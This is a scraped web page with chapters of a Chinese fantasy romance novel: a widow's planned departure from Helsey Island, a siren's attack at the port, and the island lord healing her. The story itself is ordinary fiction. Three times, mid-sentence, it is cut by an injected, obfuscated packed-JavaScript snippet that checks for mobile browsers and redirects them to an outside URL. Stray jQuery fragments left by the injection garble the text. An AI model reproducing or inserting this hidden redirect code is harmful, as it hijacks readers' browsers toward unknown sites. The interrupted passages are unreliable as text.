他记得太清楚了,凯勒死的那个晚上,他也在别墅之中,随着众人冲进凯勒的卧房,在血腥恐怖的景象旁边,就是这样一张脸。 一张他见过的最美的脸。 “你你你……” 你了半天,一个字也没说出来,黑色的身影走得更近了,近到在光线昏暗的晨曦时分,也能看见她腰间白色花朵装饰的纹路。 黑裙白花,这是丧服啊。 有意无意,他时常听到她的消息。 凯勒和加里的死亡真相被公之于众,包括她与凯勒之间的恩怨,对凯勒的骂声不绝于耳,而对她的同情也时常能够听到。 还有她和领主大人之间似乎不太寻常的关系。 想到这里,海妖猎人心思浮动起来。 他从地上爬起来,理了理衣领,装出一副偶遇的惊喜,即使他狼狈的模样已经被人看了个彻底,“米娅夫人,又见面了,您近来可好?” 最普通不过的寒暄,如果忽略掉他视线停留的地方。 真细啊,总觉得一不小心就会折断,不知道摸上去是什么感觉? 胳膊上传来剧痛,修长的身影出现在身后,一下子拧住了他的胳膊,充满怒气的声音响了起来,“滚开!” “谁?”海妖猎人愤怒地转过头,看到文质彬彬的青年,气焰一下子消沉下去,“莱、莱森大人,您怎么来了?” 轻浮的海妖猎人逃也似的走了,莱森跑到米娅身前,手伸到半空中又收了回去,“他没对你怎么样吧?” 米娅垂眸,“多谢莱森大人关心,我没事。” 两人上次见面,还是两天前在监狱门口。 “你是怪我食言了吗?” 那一天,他明明说要帮她找房子,然而匆匆离开之后,两天都没再出现过。 “莱森大人想多了,我只是刚刚将亡夫的遗物放入大海之中时,想起了一些往事,心情有些低落。大人找我有什么事吗?如果没有要紧的事,抱歉我现在没有心情——” 莱森原本是怀着极其复杂的心情来找她的,两天前,他为了乌斯的到来前往领主府,却意外听到亚当·埃尔博的供述。 和以利亚一样,听了那些纠葛,他也怀疑凯勒和加里的死与米娅有关。 她的出现太过巧合,让人不得不怀疑。 莱森整整纠结了两日,他不来见她,因为不知道该如何面对她,如果她才是真正的凶手,那又该怎么办? 两日过去,莱森终于忍不下去,决定来找她问个清楚。 可是甫一见到她,什么质问的话都堵在了胸口。 她苍白忧伤的脸庞看的他心疼无比,只恨不能将她拥入怀中,哪里还在意那些已经盖棺定论的案件真相。 无论凯勒的死跟她有没有关系,谁又能愿意去苛责一个想为丈夫报仇的可怜女人。 沉默半晌,米娅转身离开,毫不掩饰的疏离。 “有事,米娅,我听说你要走了?”莱森连忙拦住她,“之前不是说要留在赫尔西岛吗,怎么改变主意了?” 这还是他早上突然得到的消息。 他去米娅居住的旅馆找她,店主是个慈祥的老奶奶,告诉他米娅去了海岸边,同时还担忧地问他:“莱森大人,您可以劝一劝她吗,以前她跟我说,来岛上之前,她已经将家产都变卖了,可是前两天她突然说要回去,连船票都买好了。您说她这情况,还能去哪儿呀,不如就留在岛上,我还可以照拂着。” “前两天她跟我说的也是要留下,怎么……”莱森惊讶,脑筋转了转,猜测会不会是凯勒的拥趸想对她不利,“老人家,这两天有谁来找过她吗?” “没有呀。”老妇人眯起眼眸,眼角的一道道皱纹挤到一堆,“对了,前天下午,领主大人来过,好像就是从那时候开始,她心情就不怎么好了。” 领主大人? 莱森愕然。 时间回到现在,美丽的脸颊上没有笑意,米娅轻轻地摇头,空灵的声音像从海面上飘来的一样,“没有什么原因。” “是不是领主大人要求的,他对你说了什么?” 莱森直接将话挑明。 “不是。”米娅再度摇了摇头,她静静地看着他,慢慢漾起一个不太明媚的微笑,“你就当是因为,这里对我来说是一个伤心地,我不得不离开。” 这么说,那就不是这个原因了。 莱森再怎么问,她就是不肯说,但是她越否认,莱森心里就越确信,一定是以利亚·赫尔西说了什么,她是被迫离开的。 莱森的脑子开始乱了,一时觉得领主大人何必针对她,一时又不由自主地想要挽留她,可是当他想要挽留的时候,黑裙已经渐渐远去,消失在晨雾之中。 如同来时一般诡秘莫测。 莱森没有追上去,转身向赛欧庄园走去。 这个时间点,以利亚·赫尔西不是在庄园的书房之中,就是在高塔之上。 *** 书房之外,莱森吃了个闭门羹。 他看着以利亚走进了书房之中,快步上前,门却在他面前被缓缓关上,黑骑士休伊执剑挡在他身前,“莱森大人,请回吧。” 莱森双手合十,拜托他:“我有很重要的事要找领主大人,麻烦为我通传。” 黑骑士不为所动,盔甲下的高大身躯一动不动,“请您不要为难我们,领主大人不愿见您。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15828241|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“为什么?”青年深深皱起眉。 黑骑士沉默不语。 长廊尽头,另一个熟悉的人影走了过来,拽着他的胳膊,将他拉到了角落里,“莱森大人,您何必去自讨苦吃呢?” 是卡伦·道恩。 莱森像见到了救星,“卡伦,你来的正好,我听说前天你也在,领主大人既然不愿见我,问你也是一样,领主大人到底对米娅说了什么,她为什么要离开赫尔西岛?” “她要离开?”长袖善舞的文官眼睛微微瞪大,也有些惊讶。 不对劲,他怎么会惊讶,他不是早该知道了吗? “你不知道?” 这时,文官已经没有心思理会他,急切地拍了拍他的肩膀,“莱森大人,您等我一下,待会儿我再跟您详细说说,” 说罢,脚下生风,溜进了书房之中。 莱森也想跟上,又被黑骑士挡在了外面,他奋力想要推开黑骑士,那点儿力气根本不够看,黑骑士纹丝不动。 过了半晌,卡伦又走了出来,面色古怪地看着他,莱森忙问:“领主大人怎么说?” 卡伦清了清嗓子,又恢复了平时那副笑眯眯的模样,“领主大人说,她要走就走,你若是舍不得,就去送送她。” 这算什么? 莱森感到绝望。 这时,卡伦又叹息了一声,拉着他向外面走去,来到了庄园的花圃旁边,犹豫了片刻,终于说:“其实,领主大人也没有让她离开的意思,前日去找她,只是要求她不要再出现在您面前。没想到她竟然是这么个烈性子,选择了直接离开。” 眼前又浮现了刚才在书房的场景,尊贵的领主脸上浮现了一丝惊讶的表情,这是卡伦很多年没从他脸上见到的神情,有点儿陌生。 更让人担心。 那天在马车上,他就发现了,他们的这位领主大人,好像对米娅有点儿不一般。 哪里不一般? 换了别人,他还会跟她说这么多话吗,只会直接命令她,还有那个擦拭眼泪的动作,卡伦此刻仍然记忆犹新。 因为当时差点儿给他下巴都惊掉了。 “为什么?” “您还真是不懂掩饰呢,莱森大人,您喜欢她,对吗,可是您有没有想过,您和她之间走得越近,她就越容易被有心人利用。” 或者,她就是那个有心人。 不过这种话,现在说出来只会让莱森更加愤怒,他是个聪明人,知道哪些话该说哪些话不该说。 “我不明白,能怎么利用?” 莱森不能接受,他忍了那么多事情,每日小心翼翼地活着,为什么连靠近喜欢的人都不可以。 卡伦收起笑容,拍了拍他的肩膀,严肃道:“当然是利用她离间您和领主大人的关系了,她不过是个普通人,若是真的被有心人盯上了,请您想想,您真的能保护好她吗?” 仿若一盆冷水浇下,将心也浇了个透心凉。 青年颓废地握着拳,没再说话,卡伦知道自己的话起了作用,又是叹息一声,离开了。 若无主的游魂,青年垂头丧气地向外走去,再一抬头,又来到了米娅居住的旅馆附近。 他心里想着的人正站在门口和旅馆的主人聊天,笑颜如花一般。 他走过去,“什么时候的船?” “明天上午。” “这么赶时间吗?”他嘟囔了一句。 米娅微笑看着他,没搭话。 他又说:“我想来送送你。” 14. 海妖(四) 早晨的港口格外忙碌。 鸣笛的声音从四面八方响起,一艘艘船只离开码头,驶入一望无际的大海。 海平面上,旭日升起了一半,将水天相接之处照得有如红色花海,粼粼波光闪烁着璀璨夺目的光芒。 这是一个平常又宁静的早上。 名为“玫瑰号”的商船静静伫立在岸边,拿着行李的人们排起了长长的队伍,等待验证船票后走入鲸鱼一样巨大的船舱之中。 船长是个坚毅的中年男人,此刻正站在岸上,与身旁的人交谈着,他身旁是个年轻英俊的青年,眼下有些乌青,精神也不太好,干净的黑色短发发尾有些上翘,似乎疏于打理。 他们的交谈随着一个美丽的身影走近而停止。 米娅提着一个木质行李箱慢慢走了过来,她带着一顶宽大的帽子,帽檐处坠有黑色轻纱,遮住了光洁的额头和半边动人眼眸。 “两位请随我上船。” 有莱森赫尔西的格外关照,她不需要排那长长的队伍,跟着船长走上了另一条上船的路,没过多久,就出现在了甲板之上。 甲板的视野很好,左侧是大海,右侧是赫尔西岛的街巷,深蓝色的眼眸回望来时的道路,不禁有些不舍流露出来。 多巧,数天前,她乘坐“玫瑰号”来到了赫尔西岛,现在,她又将乘坐“玫瑰号”离开这个地方。 莱森将她的不舍看在眼里,心中一痛,有什么话即将要说出来。 船长体贴地离开,甲板成了两人独处的空间。 “那是什么地方?” 海风轻拂,带来清晨的凉爽气息,米娅向他微笑,优雅纤长的手指指向的方向,正是赛欧庄园的方向。 “那是赛欧庄园中的赫特高塔,是赫尔西家族最初的居所。” “赫尔西……”轻柔的话语从那冶艳红唇中吐出。 既是岛的名字,也是他的姓氏。 那甜腻的气息仿佛吹拂到他了脸上,就像—— 莱森脸一热,慌忙遮掩似的将帽沿压低,“安特塔荒废过很长一段时间,现在是——” “我听说过,现在是领主大人的居所。” 说到领主,两人俱是一静。 原本还算融洽的氛围,忽然就消失不见了,只有冷冽的风,刮过裸露在外的皮肤。 沉寂之中,莱森忽然涌起了一种冲动。 他想祈求她,留下来吧。 但眼角的余光瞥到比羊脂玉还要柔润的无名指上闪着的金属光泽,眼神一黯,余下的话也说不出口了。 她的丈夫的死讯得到了多方证实,但她依然还戴着戒指。 也许,他不该如此一厢情愿。 海风吹起了女人的长发,莱森不禁抬起手臂,任由发丝自指间穿过,那么轻柔,就像羽毛拂过,轻挠着掌心,挠得人心神荡漾。 深蓝色的眼眸倒映着他落寞的神情 美丽的面容带着温柔的笑意,又像是在鼓励他说下去,莱森心头一热,堵在喉咙处的话语不受控制地说了出来。 “能不能不要走!” 迷人的眼眸浮现惊讶的神色。 莱森面红耳赤,“我已经知道领主大人对你说的话了,如果是因为这个,我们可以不再见面,你、你去了别的地方,独身一人,想要找个安全的地方住下不容易,不如就留在赫尔西岛。” 美丽的脸上似乎有些疑虑。 他赶忙又说:“我、我再去恳求领主大人,他——他会同意的。” 女人迟迟没有回应,深蓝色的眼眸就像有洞悉人心的魔力一般。 莱森一张脸涨得通红,手心也在冒汗,他还在解释,声音却越来越小,“我没有别的意思……” “莱森,谢谢你的好意。”女人的脸上浮现遗憾的表情,虽然没有明说,但是拒绝的意味再明显不过,“我——” 她的声音戛然而止,就像被强制暂停的钟表,脸上突然出现了惊讶的神情。 下一刻,莱森被她大力推开。 灰色的羽翼在莱森面前出现,闪着金属的光泽,一片柔软的羽毛如云雾一样划过他的脸颊,瞬间带起一阵针刺般的刺痛。 羽毛划破了他的皮肤,在脸颊上留下一道血痕。 一张陌生的脸从羽翼上方出现,蔚蓝的空洞的眼睛直直地盯着他,明明没有瞳仁,却依然能从其中感受到浓烈的恨意。 人群中爆发了巨大的尖叫声,争相向远离港口的方向跑去,“海妖,是海妖!” 脑袋嗡嗡作响,莱森看见海妖悬停在半空中,这是他第一次亲眼见到传说中的海妖,虽然的确拥有过人的美貌,可是她锋利的利爪和坚韧的羽翼更加无法忽视。 鲜血从海妖另一侧的羽毛上滴落下来,她轻轻晃动羽翼,抖落血珠,“嘁,人类,真是脆弱。” 在她的旁边,莱森刚才站立的地方,那道曾经与他说笑的身影,毫无声息地倒在地上,鲜血从她身下流淌而出。 “米娅!” 悲痛的怒吼在港口回荡,晴朗的天空霎时间风云变色。 乌云凝聚成有形的重压,海水像被煮沸了一样,不停地颤抖着,港口中的船只随之剧烈摇晃。 美丽的海妖脸色一变,俯冲而来,化为利爪的双手刚要抓住他的喉咙,就被一股无形的力量震开。 “天空之劫”发生之后,巨量的神力从永恒花园溢出,飘荡在分崩离析的土地上,有人因它而死,有人因它而力量倍增。 获得神力而展现出特殊能力的人类,被称为渡水者。 神力不会遗传,当渡水者死亡之时,它将会回到大地上,藏在某个未知的角落里,等待着下一个主人。 帝国的皇帝,联盟的贵族们都费劲心思收集溢散的神力为自己所用,这不是一项简单的工作,往往需要耗费大量的人力财力。 但有一个家族例外。 世代居住在赫尔西岛的赫尔西家族,每一个家族成员出生之时,都是渡水者,尽管他们的能力各不相同,但这一点从未改变。 莱森·赫尔西,赫尔西家族最小的一辈,曾经赫尔西岛的领主,如今布里斯帝国雅克亲王一脉仅剩的后裔。 从出生起,他就如同每个赫尔西家族成员一样,拥有特殊的能力,但是他的能力是什么,外界从来不知道。 他总是以温和无害的形象出现,做事温吞,所以轻易被自己的舅舅夺了权。 他哪来的力量? 海妖面露疑惑,扇动羽翼,刮起强风,顺着风势,再度俯冲下来,那道无形的力量依然存在,却减弱了许多。 这时,莱森已经冲到了米娅身边,半跪在地上,按住她腹部正在流血的伤口,感受到来自天空的威胁再次临近,他头也不回,再次怒吼道:“滚开!” 那股力量瞬间增强,海妖遽然后退,忽然咯咯笑了起来,“原来这就是你的能力,莱森·赫尔西,用声音当武器,倒是和我们海妖很像呢,可惜了,这种力量可不是轻易能用好的呢,难怪都说你是个废物。” 海妖仰天长啸,高亢而嘹亮的旋律从她的喉咙里缓缓流出,回荡在港口,引起船只震荡。 无形之中两股力量相撞,空气瞬间凝滞,又极速爆开,碰撞带来的巨大力量直冲云霄,将天也捅出了个窟窿。 喉头腥甜,莱森喷出一口鲜血。 掌心下的身躯正在慢慢变冷,生命力仿佛化为了流淌的血液,如流水逐渐逝去。 他该怎么办? 莱森神情绝望,震荡的声波一阵又一阵,毫不留情地打在他的身上,侵入骨髓与血液,剧痛从全身传来,仿佛将每一寸骨头打碎了又重组一样。 然而这些来自身体的痛苦都远比不上心里的痛苦。 他太弱小了,什么也做不到,什么也保护不了。 他的皮肤也开始渗出鲜血, “啊!” 嗥叫声将他从回忆的漩涡中拽出来,艰难撑开过于沉重的眼皮,一道漆黑的影子从眼前划过,向半空中的海妖飞去。 海妖以羽翼挥挡,但是那比金属还坚韧的羽毛,在遇到这道影子之后,忽然失去了力量,影子冒着黑气,与羽翼相撞,发出金属摩擦的声音。 紧接着,影子划破了羽翼,留下一道长长的伤痕,鲜红的血从空中洒下来,落到翻涌的海水中,引起游鱼竞相争抢。 灰色的羽毛飘落到身上,没有了锋利与坚韧,终于变回了普通的羽毛,又轻又柔,甚至有些温暖。 一个人从码头跳到了甲板上,引得甲板又是一阵晃动,他全身包裹在黑色的骑士盔甲之中,只有眼睛处留下了一个长条形的窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15833180|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口。 但是从那窗口,依然看不见他的眼睛,只有浓重到化不开的灰雾,凝望过去,就像在注视深不见底的深渊。 漆黑的影子伤了海妖之后,在空中转了一圈,飞到来人身侧。 来人抬手握住了它,原来是一柄黑色的阔刃大剑,没有任何金属的光泽,只有最纯粹的黑色,连黑夜也要望而却步。 岸上四散奔逃的人们纷纷停下了脚步,回身看着甲板上刚刚出现的人,眼中的恐惧化为狂热,高喊道:“是黑骑士,黑骑士来了。” 海妖的脸因痛楚而扭曲,她振翅飞得更高,狂风呼啸,空中的乌云越聚越多,不一会儿便开始电闪雷鸣。 “黑骑士,赫尔西的走狗,该死。” 冰冷的语调带着巨大的恨意,仿佛有实体一样,沉甸甸地压在每一个人心头,海妖仰起头,修长的天鹅颈上隐隐有光晕流转。 她开始唱歌。 不同于方才高亢嘹亮的歌声,这是一段柔和的旋律,比丝绸还要顺滑,比春日的暖阳还要温暖,歌声从耳朵钻进大脑里,让人不禁回忆起了最美好的记忆。 幸福的表情出现在一张张脸上,上扬的嘴角还待继续扩大,突然歌声一变,急促而激烈起来,动人的音符化作利刃,将欢声笑语切割得支离破碎。 尖叫声此起彼伏,在岸边响起,人群陷入了难以言喻的癫狂之中。 黑骑士甩了甩头,似乎是要讲这些有魔法的声音从脑海中去除,他从甲板上一跃而起,动作稍显滞涩,挥剑看向海妖的翅膀。 海妖极速向更高空飞去,闪电也听从她的指挥,斜着劈向黑骑士。 大剑握在胸前格挡,白色的闪电劈在剑身上,爆发出嗡鸣,白光越来越亮,越来越大,直至将他完全吞没。 一声巨响之后,白光瞬间爆开,照亮了整个天空,再看过去,黑骑士落到了甲板上,剑身插入甲板稳定身形,海妖在空中奋力扇动羽翼,抵抗着爆炸的余韵。 海浪溅起数尺高,仿佛要将港口的一切都吞没,无数船只翻倒,无数被捕捞的鱼又重新入了海,倏忽沉入黑沉沉的水底,消失不见。 玫瑰号吨位重吃水深,勉强还能维持不倒,但船上的物体就像失去了重力的束缚一样,纷纷被抛至半空,就连人也不例外。 莱森依然呈现跪立的姿态,双腿却离开了甲板,漂浮在半空中,掌心失去了另一个人的温度,只留满手的鲜血。 苍白的身影随着震荡被抛到了半空中,像一朵正在枯萎的玫瑰。 莱森伸出双臂,想要接住她,没有注意到来自身后的危险。 正在与黑骑士打斗的海妖,借着歌声的掩护,突然出现在了他的身后,利爪对准他的背部左边,正在发力。 又尖又锋利的指甲已经刺破了身上的衣服,嵌进血肉里。 “呃——” 痛苦的声音从他嘴角溢出的一瞬间,天地忽然安静下来。 海浪也好,狂风也罢,一切都静止了,就像时间内暂停了一样,空气化作了粘稠的液体,将他紧紧包裹。 一双黑色牛皮长靴出现在了甲板上,没有人知道长靴的主人是何时上来的,更不知道他是怎么上来的,在这海浪滔天之际,商船早被推离了码头。 莱森的视线里,刚好能窥见来人银色的长发。 他的手上戴着手套,边缘是火焰的纹理,美人卷曲的长发垂在半空中,擦过火焰顶端。 他仿佛又回到了五年前的那一天,男人步履沉着,缓缓走进金碧辉煌的殿堂之中,士兵将他从高处的座椅上拉下来,男人自他身边走过,一眼也没有看他,傲慢与冷漠的神情他至今无法忘怀。 莱森发现自己动不了了,就连眼珠也无法转动,只能直直地看着同样停留在半空中的那具衣裙染满鲜血的躯体。 顶着巨大的恐惧,莱森发现自己的喉咙居然能发出声音了,他不禁说出了与当时一模一样的话,“求求您……” 救救她…… 后半句话还没说出口,男人已经将苍白的身躯抱住,手掌隔着手套放在女人的腹部,光华流转,血液凝结,狰狞的伤口逐渐愈合,由一公分长逐渐缩为一粒米的长度。 仿佛已经陷入了永远沉睡的美丽身影竟在这时睁开了眼睛,深蓝色的眼眸黯淡无光,失神地盯着他。 15. 海妖(五) 海妖在西摩港现身,袭击了莱森·赫尔西,然后被赶来相救的以利亚·赫尔西与黑骑士休伊击败一事,迅速在整个赫尔西岛流传开来。 港口人来人往,从来只闻海妖之名的人们终于见到了传说中的海妖真容,如诗歌中一样美丽,更如儿童睡前故事一样强大凶残。 刚刚失去了首领的海妖猎人组织来晚了一步。 当他们拿着各式各样专门对付海妖的武器来到港口之时,海妖已经被抓捕。 围观的人群正在散去,就连玫瑰号甲板上的血迹,也已经被冲刷干净。 人们惊魂未定之际,脸上的兴奋也难以掩饰,热烈议论着黑骑士与海妖的一战。 尤其是最后,尊敬的领主大人出现的那一刻。 嚣张的海妖神色遽变,就像断了线的风筝一样掉落在甲板上,被赶过来的卫兵轻松拿下。 一切都发生在一瞬间,没有人看见以利亚·赫尔西是如何做到的,只知道当他出现的时候,天地仿佛都安静了下来。 他是有史以来最强大的渡水者,不可与之为敌。 这一定论出自布里斯帝国现任最高统治者洛琳女皇之口,当她说出这句话时,正值帝国权力更迭之际。 前任皇帝,女皇的叔父被以利亚·赫尔西逼得退位,她捡了个便宜,以稚龄登上皇位,却展现出了与年龄不符的铁血手腕与能力,迅速平息了一系列动荡。 然而在对待以利亚·赫尔西以及赫尔西岛的态度上,她一再让步,所以外界一直有这样的声音,说她不过是以利亚·赫尔西的傀儡。 传言是否真实,与疲于奔命的普通人并无影响,他们只是从港口的这场意外中发现,原来海妖没有完全从他们的生活中消失,随时可能出现,给予致命一击。 恐惧在此刻达到了顶点,幸而以利亚·赫尔西的出手抚平了这一恐惧。 哪怕是传说中强大到难以战胜的海妖,也完全不是领主大人的对手呢。 于是恐惧又烟消云散,到最后,人们谈论的焦点纷纷变成了,领主大人离开之时,怀中抱着的女人是谁? 看似平静的早晨。 卡伦在赛欧庄园的花园中踱步,沁人心脾的幽香钻进鼻腔之中,稍稍抚平了他有些焦躁的思绪。 本该是个平静的早晨,鸟语花香,阳光明媚,但自从赛欧庄园的两位主人先后大早上出门去之后,他的眼皮就一直跳,一缕不安始终萦绕在心头。 今天不是什么特殊的日子。 一定要说的话,是名为米娅的漂亮女人坐船离开赫尔西岛的日子。 卡伦挠了挠头,莱森出门是为了送她,领主大人呢? 希望不是他想得那样。 事实证明,怕什么来什么。 没过多久,仆从急匆匆过来,“卡伦大人,领主大人回来了。” 卡伦面上一喜,连忙赶过去,忽略了仆从脸上微妙的神色,因此当他在古堡的大厅中见到以利亚时,震惊简直无以复加。 他一定是没睡醒吧,不然怎么会看到领主大人怀中抱着一个身材姣好的女人呢? 虽然女人的脸无知无觉地偏向以利亚的方向,他看不见她的脸,但是同样的场景他已经看过一次。 那熟悉的卷发,棉布衣裙下凹凸有致的身躯,都指向了一个人。 一个此时应该在海上漂泊的人。 米娅。 “去收拾一间客房出来。” 震惊只有一瞬间,在年轻领主对女仆的吩咐声中,卡伦看到了女人腹部还未完全干涸的血迹,鲜红色的,很刺眼。 那里的衣服也被划了一道口子,柔软白皙的腹部若隐若现,只有一道浅红色的痕迹,昭示着伤口曾经的位置。 “领主大人,这是怎么了?” 男人低头看了一眼怀中的女人,脸色苍白,就连唇色也是白的,虚弱的就像随时都会消逝一般。 “她为了救莱森被海妖所伤。” “什么?”卡伦惊讶得险些跳起来,“哪来的海妖这么大胆,居然敢袭击莱森大人。” 眼前闪过港口上空那张俏丽而充满怒火的脸,还有那灰色而有光泽的羽毛,男人声音略沉,“恐怕就是凯勒囚禁的那一只。她已经被抓住,待会儿会送过来,将她关到地牢去。” “是。” 说话间,女仆动作迅速,已经将位于古堡二楼的一间客房收拾出来。 以利亚抱着失去意识的米娅走了上去,卡伦向仆从们吩咐了几句,也跟了上去。 是一间极宽敞位置也很好的客房,到处都点缀着精美的装饰,中间一张红色天鹅绒睡床,豪华又精致。 白玉一样的身躯陷入柔软的床铺之中,仿佛躺在蔷薇花海之中,愈发衬出她的美丽与苍白。 女仆为她整理好衣服,又盖上丝绸的被子,一切妥当之后,在卡伦的示意下离开了房间,并贴心地将房门关上。 厚重的木门与墙壁隔音效果很好,有些藏在心中的疑问,终于可以说出来,卡伦看着领主大人堪称完美的侧脸,那双棕色的眼睛正在注视着床上的人。 冷漠从他眼底消失,取而代之的是,是卡伦看不懂的情绪。 “大人,有句话我不知道能不能说。” 房间内除了一个昏迷的米娅,再没有别人,卡伦卸下用以伪装的虚伪笑容,脸上是化不开的沉重。 那双棕色的眼眸看了过来,是了然的眼神。 卡伦咬了咬牙,能不能说,他都得说。 于是不等对方回应,他又接着说道:“您对这个女人,好像有些不一般。” 如果眼前的男人只是一个普通的帝国岛屿领主,如果床上的女人没有和莱森有太多纠葛,那么再多的不一般也不值一提。 这座古老的庄园已经很久没有女主人了,不管是什么身份的女主人。 但是没有如果。 领主大人应该比他更清楚,什么事情可为,什么事情不可为。 “你说得没错。”年轻的领主面色沉静。 他走到床边,女人的手搭在被子上,晶莹剔透的指甲很干净,没有涂抹装饰。 她的手也是苍白的,无名指上套着银色的戒指,指尖隐隐有一点儿红润的颜色。 卡伦瞪大了眼睛,看着他伸出带着手套的右手,轻轻握住了女人的手,用十指相扣的方式,掌心相对。 淡淡的光从指缝间溢出,女人浅到几乎发青的唇色有了一点儿细微的变化。 原来是在为她治疗。 卡伦松了一口气,不怪他多想,这幅场景,也太奇怪了些。 以利亚招手让他过去。 卡伦慢慢走过去,掌心那微弱的光芒已经消失,但两只手仍然交握在一起,修长的手指像藤蔓一样纠缠在一起。 “听见了吗?”以利亚忽然问他。 卡伦闭耳倾听,呼吸声,窗外的风声,还有什么,似乎没有了。 “是心跳声。” 以利亚低沉的声音在这时钻进了他的耳朵里,卡伦不由得再去细听。 砰砰砰…… 砰……砰…… 砰…… 是三个人的心跳声,最响的来自于他的胸膛。 “怎么会——”卡伦惊讶地瞪大了眼睛。 “她身上的秘密,恐怕比我们想得还要多。” 笑容出现在他的唇边,浅到几乎看不见,但卡伦太熟悉他了,这一点点的变化,看在眼里也无疑于天崩地裂。 领主大人他……竟然笑了?! 虽然看起来只是觉得有趣的笑,但也足够罕见了。 空气安静下来,卡伦的脑子却乱了,来不及细想,门口传来了敲门声,为了掩盖自己的失态,他慌忙走过去,打开门一看—— 一脸为难的女仆身后是焦急的黑发青年。 “卡伦,米娅在里面吗,她怎么样了?” 黑发青年一边问着,一边抻着脑袋向门内看去,卡伦又是一惊,哎呀,要是被他看见了刚才的一幕,可就麻烦了。 他刚要去挡,一只冰冷的手搭在了他的肩上,以利亚已经放开米娅,走了过来,“你去忙吧。” 再看莱森的样子,脸上还是只有担忧,看来没有看到。 卡伦松了一口气,不愧是领主大人,动作真快,莱森回来了,说明押送海妖的人也到了,发现了这么大的意外,还有一堆事情等着他去处理。 卡伦赶紧走了,下楼之前,忍不住回头看了一眼。 唉,他叹息一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15841378|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声,沉寂了多年的赛欧庄园,好不容易热闹一回,也不能是这个热闹法啊。 卡伦见到被抓住的海妖之时,二楼的客房里,以利亚和莱森正在进行着一场难得的对话。 作为世上仅剩的两个赫尔西家族成员,他们的体内流着相似的血液,那是传说中神祇的血,然而更像是一个诅咒。 从前,赫尔西家族每一代都只有一个子嗣。 直到以利亚·赫尔西的出生,打破了这个魔咒。 他有一个大他十岁的姐姐,缇雅·赫尔西,嫁给了布里斯帝国的雅克亲王,姐姐又生下了一对双胞胎,莱森和罗尔。 看似是打破了魔咒,但缇雅·赫尔西因难产去世,她的小儿子罗尔也在数年前意外身亡。 这么一来,赫尔西家族每一代又只剩一个人了。 莱森看过米娅,确认她已经无生命危险,只是失血过多暂时晕了过去之后,悬着的心终于放下,转头一看,房间里只剩下了他和以利亚两个清醒的人。 这是很少能见到的场景。 尽管是血脉相连的亲人,两个人的关系却并不亲近。 他们的面孔有几分相似,给人的感觉却截然不同。 拥有强大力量的以利亚孤傲冷漠,高高在上,有他在的地方,其他人连大气都不敢喘一下。 莱森呢,他曾前往位于玛丽亚联盟的学院岛求学,不仅学了一肚子知识,也染上了学院岛的学生常见的文质彬彬。 他的确也是个渡水者,但就像海妖所言,他无法自如运用自己的能力,平时更像是个普通人,温和文雅单纯成了别人对他的第一印象。 简单点儿说,很好骗。 除此之外,莱森还很怕以利亚,刻在骨子里的恐惧,只要他走近,就会忍不住瑟缩的那种,原因很复杂,他自己大概也要思索很久才能梳理清楚。 而现在,尽管很害怕,单独面对以利亚,他终于下定决心,要违抗他一回。 “领主大人,谢谢您愿意救她。”黑发青年单膝跪了下来,不是以外甥的口吻,而是以下属的身份,单手置于胸前,郑重地行了一个礼,“我有一个请求。” “什么?” 青年垂首看着地面,领主的声音还是如此冷漠,他突然有点儿好奇,到底有没有什么事情能够让他产生剧烈的情绪波动,“希望您同意让她留下来,她救了我的命,理应得到嘉奖。” “她尚未痊愈,仍需静养多日,我答应你,至少在风灵节前,她可以留在这里。” 喜色刚上眉梢,男人的下一句话又让他怔住,“你喜欢她?” “是。” 在这个人面前,他无法说谎。 “你想娶她吗?” 语调好似更冷了,心中警铃大作,莱森连忙说:“是,但我也知道她和我身份悬殊,如果领主大人同意的话,我愿意放弃我一切殊荣和身份。” 放弃了,他也会更安心吧,再没有一个前任领主在他身边时时刻刻提醒他曾经遭受的放逐,更不用担心来自皇室的蠢蠢欲动。 以利亚很久没有说话。 莱森忐忑不安,心跳狂乱,后得到的只有一句话,“等她醒了再说,你想娶,她也未必肯嫁。” 扔下这句话,年轻的领主推门而去。 莱森回望一眼床上的面容,正待离开,枕头边某个闪着光的物体吸引了他的注意。 银色的细圈上刻着简单的花纹,是米娅的戒指。 怎么脱下来了?是影响了治疗吗? 莱森只疑惑了一瞬,也离开了。 到底男女有别,他不能一个人在其中待太久。 只是出门之时,他想到以利亚的话,仍是分辨不出,他究竟是同意还是不同意? 但他说的没错,自己应该选个合适的时机,向米娅表明心迹,争得她的同意,郑重的求婚仪式是必不可少的。 如果她不肯,没关系,距离风灵节还有大半个月,他可以慢慢等她改变主意。 青年的背影消失在了走廊尽头,与此同时,床上的人也睁开了眼睛。 “总算都走了,装昏迷也是一件辛苦事呢。” 